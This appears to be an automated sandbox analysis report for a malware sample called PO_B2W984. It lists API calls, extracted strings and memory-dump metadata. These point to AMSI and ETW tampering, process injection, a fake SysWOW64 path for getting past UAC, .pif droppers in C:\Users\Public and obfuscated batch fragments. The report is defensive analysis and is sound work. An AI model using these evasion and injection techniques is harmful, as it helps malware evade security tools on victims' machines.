Part of subcall function 02DEDAC4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02DEDB3D
Part of subcall function 02DEDAC4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02DEDB6A
Part of subcall function 02DEDAC4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02DEDB73

Part of subcall function 02DE8798: LoadLibraryW.KERNEL32(bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,UacScan), ref: 02DE87AC
Part of subcall function 02DE8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02DE87C6
Part of subcall function 02DE8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize), ref: 02DE8802

Part of subcall function 02DE8704: LoadLibraryW.KERNEL32(amsi), ref: 02DE870D
Part of subcall function 02DE8704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02DE876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,02DFB328), ref: 02DF49AF

Part of subcall function 02DEDA3C: RtlInitUnicodeString.NTDLL(?,?), ref: 02DEDA64
Part of subcall function 02DEDA3C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDAB6), ref: 02DEDA7A
Part of subcall function 02DEDA3C: NtDeleteFile.NTDLL(?), ref: 02DEDA99

MoveFileA.KERNEL32(00000000,00000000), ref: 02DF4BAF
MoveFileA.KERNEL32(00000000,00000000), ref: 02DF4C05

Strings

BCryptVerifySignature, xrefs: 02DEF34E, 02DF99C9
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02DF3359
[InternetShortcut], xrefs: 02DF6490
DlpGetArchiveFileTraceInfo, xrefs: 02DF9BD6
Initialize, xrefs: 02DEED3F, 02DEFCC1, 02DEFE55, 02DEFFF3, 02DF0199, 02DF044E, 02DF0AF1, 02DF0F2D, 02DF13D7, 02DF14E1, 02DF1BC8, 02DF1EFA, 02DF221A, 02DF254E, 02DF26FC, 02DF2A55, 02DF2E0E, 02DF4FB6, 02DF534B, 02DF5747, 02DF590C, 02DF5B78, 02DF5CB6, 02DF5EBB, 02DF6E30, 02DF7AE8, 02DF8AF5, 02DF96E0, 02DF9A7E, 02DF9FAD, 02DFA367, 02DFA8B3
NtWaitForSingleObject, xrefs: 02DF9D9A
NtGetWriteWatch, xrefs: 02DFA5A1
smartscreenps, xrefs: 02DEF4F6, 02DEF529, 02DEF55C
.url, xrefs: 02DF54D3
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02DF4846
ScanString, xrefs: 02DEEDA3, 02DEF032, 02DEF147, 02DEF2D8, 02DEF469, 02DEF6F2, 02DEF833, 02DEFDB9, 02DF09D1, 02DF0B6D, 02DF0FA9, 02DF11C4, 02DF1240, 02DF155D, 02DF1883, 02DF1B4C, 02DF1F89, 02DF23BA, 02DF25CA, 02DF2680, 02DF29AF, 02DF2AD1, 02DF2D92, 02DF31DD, 02DF3CD5, 02DF414B, 02DF4340, 02DF4CF8, 02DF4E92, 02DF51D7, 02DF559B, 02DF5C3A, 02DF6420, 02DF6597, 02DF664F, 02DF6CBC, 02DF7156, 02DF75BD, 02DF7BE0, 02DF8687, 02DF8A79, 02DF8E62, 02DF921E, 02DF951C, 02DF98D7, 02DF9CBE, 02DF9EB5, 02DFA45F
C:\\Users\\Public\\Libraries\\, xrefs: 02DF4B5E, 02DF4BB4, 02DF58AF
sppwmi, xrefs: 02DFA51F
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02DEFE2F
SLIsGenuineLocalEx, xrefs: 02DF95F8
GZmMS1j, xrefs: 02DEECB4
SLGetGenuineInformation, xrefs: 02DF9592
NtQueryVirtualMemory, xrefs: 02DFA5D4
NtOpenProcess, xrefs: 02DF89D2
WintrustAddActionID, xrefs: 02DEF0DB
endpointdlp, xrefs: 02DF9B87, 02DF9BBA, 02DF9BED, 02DF9C20
NtOpenFile, xrefs: 02DFA805
GetProxyDllInfo, xrefs: 02DEEFCF
CreateProcessA, xrefs: 02DFA120
GET, xrefs: 02DF18FA
I_QueryTagInformation, xrefs: 02DF8982
IconIndex=, xrefs: 02DF64F5
NtCreateSection, xrefs: 02DFA66D
mssip32, xrefs: 02DEF250, 02DEF283, 02DEF2B6, 02DF98B5
BCryptRegisterProvider, xrefs: 02DEF3B4
CryptSIPVerifyIndirectData, xrefs: 02DEF26C, 02DF989E
MiniDumpWriteDump, xrefs: 02DF8996
NtAccessCheck, xrefs: 02DFA739
EnumServicesStatusExW, xrefs: 02DFA102
ntdll, xrefs: 02DF8973, 02DF89C3, 02DF89D7, 02DF9D4B, 02DF9D7E, 02DF9DB1, 02DF9DE4, 02DF9E17, 02DFA5B8, 02DFA5EB, 02DFA61E, 02DFA651, 02DFA684, 02DFA6B7, 02DFA6EA, 02DFA71D, 02DFA750, 02DFA783, 02DFA7B6, 02DFA7E9, 02DFA81C, 02DFA84F, 02DFA882
dbgcore, xrefs: 02DF899B, 02DF89AF
C:\Windows\System32\, xrefs: 02DEF8AF, 02DF70B3, 02DF7DFB
kernel32, xrefs: 02DFA213, 02DFA246, 02DFA279, 02DFA2AC, 02DFA2DF, 02DFA312, 02DFA345
psapi, xrefs: 02DF9882
NtQueryDirectoryFile, xrefs: 02DFA0B7
CreateProcessW, xrefs: 02DFA12F
FlushInstructionCache, xrefs: 02DFA2FB
lld.SLITUTEN, xrefs: 02DF3AB0
EtwEventWrite, xrefs: 02DFA86B
SLGetEncryptedPIDEx, xrefs: 02DFA56E
RtlAllocateHeap, xrefs: 02DF9D67, 02DF9DCD
LdrLoadDll, xrefs: 02DFA76C
CreateProcessAsUserW, xrefs: 02DFA14D, 02DFA16B
Ntdll, xrefs: 02DFA09E, 02DFA0AD, 02DFA0BC, 02DFA0CB
C:\Users\Public\, xrefs: 02DF317B, 02DF54C8, 02DF673B
SetUnhandledExceptionFilter, xrefs: 02DFA32E
EnumServicesStatusW, xrefs: 02DFA0E4
Advapi, xrefs: 02DFA0DA, 02DFA0E9, 02DFA0F8, 02DFA107, 02DFA143, 02DFA152, 02DFA161
C:\Users\Public\alpha.pif, xrefs: 02DF4B2E
BCryptQueryProviderRegistration, xrefs: 02DEF381
UacUninitialize, xrefs: 02DF2D16, 02DF3013, 02DF310B, 02DF38E9, 02DF3F83
TrustOpenStores, xrefs: 02DEF0A8
EnumServicesStatusExA, xrefs: 02DFA0F3
tquery, xrefs: 02DF97E9
SxTracerGetThreadContextDebug, xrefs: 02DF9805, 02DFA4D5
DlpNotifyPreDragDrop, xrefs: 02DF9B70
LdrGetProcedureAddress, xrefs: 02DFA79F
CreateProcessAsUserA, xrefs: 02DFA13E
URL=file:", xrefs: 02DF649F
NtReadVirtualMemory, xrefs: 02DFA6D3
C:\\Windows \\SysWOW64\\, xrefs: 02DF3AC6, 02DF3EDA
NtOpenSection, xrefs: 02DFA63A
DlpGetWebSiteAccess, xrefs: 02DF9C09
DlpCheckIsCloudSyncApp, xrefs: 02DF9BA3
VirtualAlloc, xrefs: 02DFA1FC
Kernel32, xrefs: 02DFA125, 02DFA134, 02DFA170
bcrypt, xrefs: 02DEF365, 02DEF398, 02DEF3CB, 02DF99E0
sys.thgiseurt, xrefs: 02DF3EC4
wintrust, xrefs: 02DEF0BF, 02DEF0F2, 02DEF125
NtMapViewOfSection, xrefs: 02DFA6A0
WinHttp.WinHttpRequest.5.1, xrefs: 02DF17E1
DllRegisterServer, xrefs: 02DEEFF9, 02DEF545
ScanBuffer, xrefs: 02DEEE6B, 02DEF1C3, 02DEF3ED, 02DEF954, 02DEFA61, 02DEFB79, 02DEFF4D, 02DF00EB, 02DF0291, 02DF03B1, 02DF0546, 02DF063E, 02DF08A7, 02DF0A4D, 02DF0BE9, 02DF0CFF, 02DF0D8D, 02DF10A1, 02DF1342, 02DF1453, 02DF15F0, 02DF199B, 02DF1AA7, 02DF1CC5, 02DF1DE2, 02DF20FD, 02DF219E, 02DF2312, 02DF24D2, 02DF27F4, 02DF2BEB, 02DF2E8A, 02DF2F1B, 02DF32D5, 02DF34B7, 02DF362B, 02DF37AE, 02DF382A, 02DF39E1, 02DF3BEB, 02DF3E49, 02DF407B, 02DF42BF, 02DF4507, 02DF47BD, 02DF4923, 02DF4AB8, 02DF4DF0, 02DF512A, 02DF5443, 02DF57C3, 02DF5AFC, 02DF5DAE, 02DF5FB3, 02DF6119, 02DF628D, 02DF6309, 02DF6EAC, 02DF6F3D, 02DF736D, 02DF7500, 02DF765C, 02DF7754, 02DF7C71, 02DF7F3E, 02DF80E4, 02DF8271, 02DF8405, 02DF8584, 02DF87FB, 02DF88F3, 02DF8D0F, 02DF8FE8, 02DF915C, 02DF9392, 02DF9424, 02DF975C, 02DF9AFA, 02DFA029, 02DFA92F
EnumServicesStatusA, xrefs: 02DFA0D5
RetailTracerEnable, xrefs: 02DF97D2
EnumProcessModules, xrefs: 02DFA111
SLLoadApplicationPolicies, xrefs: 02DF962B
NtDeviceIoControlFile, xrefs: 02DFA0A8
VirtualAllocEx, xrefs: 02DFA22F
ieproxy, xrefs: 02DEEFB9, 02DEEFE0, 02DEF010
HotKey=, xrefs: 02DF6629
DllGetActivationFactory, xrefs: 02DEF512
CreateProcessWithLogonW, xrefs: 02DFA15C
RtlQueryProcessDebugInformation, xrefs: 02DFA0C6
WriteVirtualMemory, xrefs: 02DFA2C8
NtOpenObjectAuditAlarm, xrefs: 02DF896E
SLGatherMigrationBlob, xrefs: 02DFA53B
OpenSession, xrefs: 02DEECDB, 02DEEE07, 02DEF7B7, 02DEF8D8, 02DEF9E5, 02DEFAFD, 02DEFED1, 02DF006F, 02DF0215, 02DF0335, 02DF04CA, 02DF05C2, 02DF07AF, 02DF0955, 02DF0C83, 02DF0EB1, 02DF1025, 02DF1148, 02DF12C6, 02DF166C, 02DF16EF, 02DF1807, 02DF191F, 02DF1A2B, 02DF1C49, 02DF1D66, 02DF2005, 02DF2081, 02DF2296, 02DF2436, 02DF2778, 02DF2933, 02DF2B4D, 02DF2C67, 02DF2F97, 02DF3436, 02DF35AF, 02DF3732, 02DF3B6F, 02DF3DCD, 02DF3F07, 02DF4243, 02DF448B, 02DF466D, 02DF4741, 02DF48A7, 02DF4A3C, 02DF4D74, 02DF4F0E, 02DF50AE, 02DF5253, 02DF53C7, 02DF5617, 02DF56CB, 02DF5988, 02DF5A80, 02DF5F37, 02DF6211, 02DF6385, 02DF651B, 02DF66CB, 02DF6DB4, 02DF6FB9, 02DF71D2, 02DF7275, 02DF7408, 02DF77D0, 02DF7A6C, 02DF7D69, 02DF7EC2, 02DF8068, 02DF81F5, 02DF8389, 02DF8508, 02DF860B, 02DF877F, 02DF89FD, 02DF8BED, 02DF8EDE, 02DF9064, 02DF929A, 02DF94A0, 02DF9664, 02DF9953, 02DF9A02, 02DF9C42, 02DF9E39, 02DF9F31, 02DFA3E3, 02DFA9AB
http, xrefs: 02DF15CD
GetProcessMemoryInfo, xrefs: 02DF986B
SLGetSLIDList, xrefs: 02DF95C5
C:\Users\Public\aken.pif, xrefs: 02DF4B49
CryptSIPGetInfo, xrefs: 02DEF239
MiniDumpReadDumpStream, xrefs: 02DF89AA
RtlCreateQueryDebugBuffer, xrefs: 02DF9E00
EtwEventWriteEx, xrefs: 02DFA838
VirtualProtect, xrefs: 02DFA262
psapi, xrefs: 02DFA116
CryptSIPGetSignedDataMsg, xrefs: 02DEF29F
NtSetSecurityObject, xrefs: 02DF89BE
UacInitialize, xrefs: 02DEEF33, 02DEF5FA, 02DEFD3D, 02DF3D51, 02DF41C7, 02DF49C0, 02DF4C7C, 02DF5032, 02DF551F, 02DF7035, 02DF8877, 02DF8C93
spp, xrefs: 02DF981C, 02DF984F, 02DFA4EC
advapi32, xrefs: 02DF8987
OpenProcess, xrefs: 02DFA295
NtWriteVirtualMemory, xrefs: 02DFA7D2
NtQueryInformationThread, xrefs: 02DFA607
UacScan, xrefs: 02DEEECF, 02DEF57E, 02DEF676, 02DEFC45, 02DF082B, 02DF0E09, 02DF176B, 02DF1E7E, 02DF308F, 02DF3259, 02DF33BA, 02DF3533, 02DF36B6, 02DF3887, 02DF3965, 02DF3AF3, 02DF3FFF, 02DF43BC, 02DF45F1, 02DF52CF, 02DF583F, 02DF5A04, 02DF5D32, 02DF5E3F, 02DF609D, 02DF6195, 02DF6D38, 02DF70DA, 02DF72F1, 02DF7484, 02DF76D8, 02DF7B64, 02DF7CED, 02DF7E46, 02DF7FEC, 02DF8179, 02DF830D, 02DF848C, 02DF8703, 02DF8B71, 02DF8D8B, 02DF8F6C, 02DF90E0, 02DF9316, 02DFA186
FindCertsByIssuer, xrefs: 02DEF10E
sppc, xrefs: 02DF95A9, 02DF95DC, 02DF960F, 02DF9642, 02DFA552, 02DFA585
NtQuerySecurityObject, xrefs: 02DFA706
DllGetClassObject, xrefs: 02DEEFA8, 02DEF4DF, 02DF9838, 02DFA508
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02DF36A0
NEO.c, xrefs: 02DF443D
NtAlertResumeThread, xrefs: 02DF9D34
NtQuerySystemInformation, xrefs: 02DFA099
FX.c, xrefs: 02DF46F3
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 02DF4590

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 6f4ce8407f80e37aa3d14da98de72d75bbf316d725a86c00a52e4101f509e7a6
Instruction ID: e2c33cc865a4e00661cf8a67fe199184ce0a7747ef3b98dbb5709dea40e5cd0f
Opcode Fuzzy Hash: 6f4ce8407f80e37aa3d14da98de72d75bbf316d725a86c00a52e4101f509e7a6
Instruction Fuzzy Hash: A4243475A405589FDB61FB64DC80ADE73B6FF84300F1240E6E10AAB758DA70AE85CF64

Function 02DF7870 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DE881C: LoadLibraryA.KERNEL32(00000000,00000000,02DE8903), ref: 02DE8850
Part of subcall function 02DE881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02DE8903), ref: 02DE8860
Part of subcall function 02DE881C: GetProcAddress.KERNEL32(74BD0000,00000000), ref: 02DE8879
Part of subcall function 02DE881C: FreeLibrary.KERNEL32(74BD0000,00000000,02E31388,Function_000065D8,00000004,02E31398,02E31388,000186A3,00000040,02E3139C,74BD0000,00000000,00000000,00000000,00000000,02DE8903), ref: 02DE88E3

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02F257DC,02F25820,OpenSession,02E3137C,02DFAFD0,UacScan,02E3137C), ref: 02DF7E31
ResumeThread.KERNEL32(00000000,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0), ref: 02DF847B
CloseHandle.KERNEL32(00000000,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,00000000,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C), ref: 02DF85FA

Part of subcall function 02DE8798: LoadLibraryW.KERNEL32(bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize,02E313A4,02DEA774,UacScan), ref: 02DE87AC
Part of subcall function 02DE8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02DE87C6
Part of subcall function 02DE8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000844,00000000,02E313A4,02DEA3BF,ScanString,02E313A4,02DEA774,ScanBuffer,02E313A4,02DEA774,Initialize), ref: 02DE8802

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02E3137C,02DFAFD0,UacInitialize,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,UacScan,02E3137C), ref: 02DF89EC

Part of subcall function 02DD7E10: GetFileAttributesA.KERNEL32(00000000,?,02DEF8C4,ScanString,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanString,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,UacInitialize), ref: 02DD7E1B

Part of subcall function 02DEDAC4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02DEDB96), ref: 02DEDB03
Part of subcall function 02DEDAC4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02DEDB3D
Part of subcall function 02DEDAC4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02DEDB6A
Part of subcall function 02DEDAC4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02DEDB73

Part of subcall function 02DE8184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02DE820E), ref: 02DE81F0

ExitProcess.KERNEL32(00000000,OpenSession,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,Initialize,02E3137C,02DFAFD0,00000000,00000000,00000000,ScanString,02E3137C,02DFAFD0), ref: 02DFAA1D

Strings

BCryptVerifySignature, xrefs: 02DF99C9
EnumServicesStatusExA, xrefs: 02DFA0F3
DlpGetArchiveFileTraceInfo, xrefs: 02DF9BD6
tquery, xrefs: 02DF97E9
SxTracerGetThreadContextDebug, xrefs: 02DF9805, 02DFA4D5
Initialize, xrefs: 02DF78F8, 02DF7AE8, 02DF8AF5, 02DF96E0, 02DF9A7E, 02DF9FAD, 02DFA367, 02DFA8B3
LdrGetProcedureAddress, xrefs: 02DFA79F
DlpNotifyPreDragDrop, xrefs: 02DF9B70
CreateProcessAsUserA, xrefs: 02DFA13E
NtWaitForSingleObject, xrefs: 02DF9D9A
NtReadVirtualMemory, xrefs: 02DFA6D3
NtGetWriteWatch, xrefs: 02DFA5A1
NtOpenSection, xrefs: 02DFA63A
ScanString, xrefs: 02DF7974, 02DF7BE0, 02DF8687, 02DF8A79, 02DF8E62, 02DF921E, 02DF951C, 02DF98D7, 02DF9CBE, 02DF9EB5, 02DFA45F
DlpGetWebSiteAccess, xrefs: 02DF9C09
VirtualAlloc, xrefs: 02DFA1FC
DlpCheckIsCloudSyncApp, xrefs: 02DF9BA3
Kernel32, xrefs: 02DFA125, 02DFA134, 02DFA170
sppwmi, xrefs: 02DFA51F
bcrypt, xrefs: 02DF99E0
NtMapViewOfSection, xrefs: 02DFA6A0
ScanBuffer, xrefs: 02DF7C71, 02DF7F3E, 02DF80E4, 02DF8271, 02DF8405, 02DF8584, 02DF87FB, 02DF88F3, 02DF8D0F, 02DF8FE8, 02DF915C, 02DF9392, 02DF9424, 02DF975C, 02DF9AFA, 02DFA029, 02DFA92F
EnumServicesStatusA, xrefs: 02DFA0D5
SLIsGenuineLocalEx, xrefs: 02DF95F8
RetailTracerEnable, xrefs: 02DF97D2
NtQueryVirtualMemory, xrefs: 02DFA5D4
SLGetGenuineInformation, xrefs: 02DF9592
EnumProcessModules, xrefs: 02DFA111
NtOpenProcess, xrefs: 02DF89D2
SLLoadApplicationPolicies, xrefs: 02DF962B
endpointdlp, xrefs: 02DF9B87, 02DF9BBA, 02DF9BED, 02DF9C20
NtOpenFile, xrefs: 02DFA805
CreateProcessA, xrefs: 02DFA120
I_QueryTagInformation, xrefs: 02DF8982
NtCreateSection, xrefs: 02DFA66D
NtDeviceIoControlFile, xrefs: 02DFA0A8
VirtualAllocEx, xrefs: 02DFA22F
mssip32, xrefs: 02DF98B5
CreateProcessWithLogonW, xrefs: 02DFA15C
RtlQueryProcessDebugInformation, xrefs: 02DFA0C6
WriteVirtualMemory, xrefs: 02DFA2C8
CryptSIPVerifyIndirectData, xrefs: 02DF989E
NtOpenObjectAuditAlarm, xrefs: 02DF896E
SLGatherMigrationBlob, xrefs: 02DFA53B
MiniDumpWriteDump, xrefs: 02DF8996
OpenSession, xrefs: 02DF787C, 02DF79F0, 02DF7A6C, 02DF7D69, 02DF7EC2, 02DF8068, 02DF81F5, 02DF8389, 02DF8508, 02DF860B, 02DF877F, 02DF89FD, 02DF8BED, 02DF8EDE, 02DF9064, 02DF929A, 02DF94A0, 02DF9664, 02DF9953, 02DF9A02, 02DF9C42, 02DF9E39, 02DF9F31, 02DFA3E3, 02DFA9AB
NtAccessCheck, xrefs: 02DFA739
GetProcessMemoryInfo, xrefs: 02DF986B
SLGetSLIDList, xrefs: 02DF95C5
EnumServicesStatusExW, xrefs: 02DFA102
ntdll, xrefs: 02DF8973, 02DF89C3, 02DF89D7, 02DF9D4B, 02DF9D7E, 02DF9DB1, 02DF9DE4, 02DF9E17, 02DFA5B8, 02DFA5EB, 02DFA61E, 02DFA651, 02DFA684, 02DFA6B7, 02DFA6EA, 02DFA71D, 02DFA750, 02DFA783, 02DFA7B6, 02DFA7E9, 02DFA81C, 02DFA84F, 02DFA882
MiniDumpReadDumpStream, xrefs: 02DF89AA
RtlCreateQueryDebugBuffer, xrefs: 02DF9E00
EtwEventWriteEx, xrefs: 02DFA838
dbgcore, xrefs: 02DF899B, 02DF89AF
VirtualProtect, xrefs: 02DFA262
psapi, xrefs: 02DFA116
C:\Windows\System32\, xrefs: 02DF7DFB
NtSetSecurityObject, xrefs: 02DF89BE
UacInitialize, xrefs: 02DF8877, 02DF8C93
spp, xrefs: 02DF981C, 02DF984F, 02DFA4EC
OpenProcess, xrefs: 02DFA295
kernel32, xrefs: 02DFA213, 02DFA246, 02DFA279, 02DFA2AC, 02DFA2DF, 02DFA312, 02DFA345
advapi32, xrefs: 02DF8987
psapi, xrefs: 02DF9882
CreateProcessW, xrefs: 02DFA12F
NtQueryDirectoryFile, xrefs: 02DFA0B7
FlushInstructionCache, xrefs: 02DFA2FB
EtwEventWrite, xrefs: 02DFA86B
NtWriteVirtualMemory, xrefs: 02DFA7D2
SLGetEncryptedPIDEx, xrefs: 02DFA56E
NtQueryInformationThread, xrefs: 02DFA607
UacScan, xrefs: 02DF7B64, 02DF7CED, 02DF7E46, 02DF7FEC, 02DF8179, 02DF830D, 02DF848C, 02DF8703, 02DF8B71, 02DF8D8B, 02DF8F6C, 02DF90E0, 02DF9316, 02DFA186
RtlAllocateHeap, xrefs: 02DF9D67, 02DF9DCD
LdrLoadDll, xrefs: 02DFA76C
CreateProcessAsUserW, xrefs: 02DFA14D, 02DFA16B
Ntdll, xrefs: 02DFA09E, 02DFA0AD, 02DFA0BC, 02DFA0CB
sppc, xrefs: 02DF95A9, 02DF95DC, 02DF960F, 02DF9642, 02DFA552, 02DFA585
NtQuerySecurityObject, xrefs: 02DFA706
SetUnhandledExceptionFilter, xrefs: 02DFA32E
DllGetClassObject, xrefs: 02DF9838, 02DFA508
EnumServicesStatusW, xrefs: 02DFA0E4
Advapi, xrefs: 02DFA0DA, 02DFA0E9, 02DFA0F8, 02DFA107, 02DFA143, 02DFA152, 02DFA161
NtAlertResumeThread, xrefs: 02DF9D34
NtQuerySystemInformation, xrefs: 02DFA099

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugIn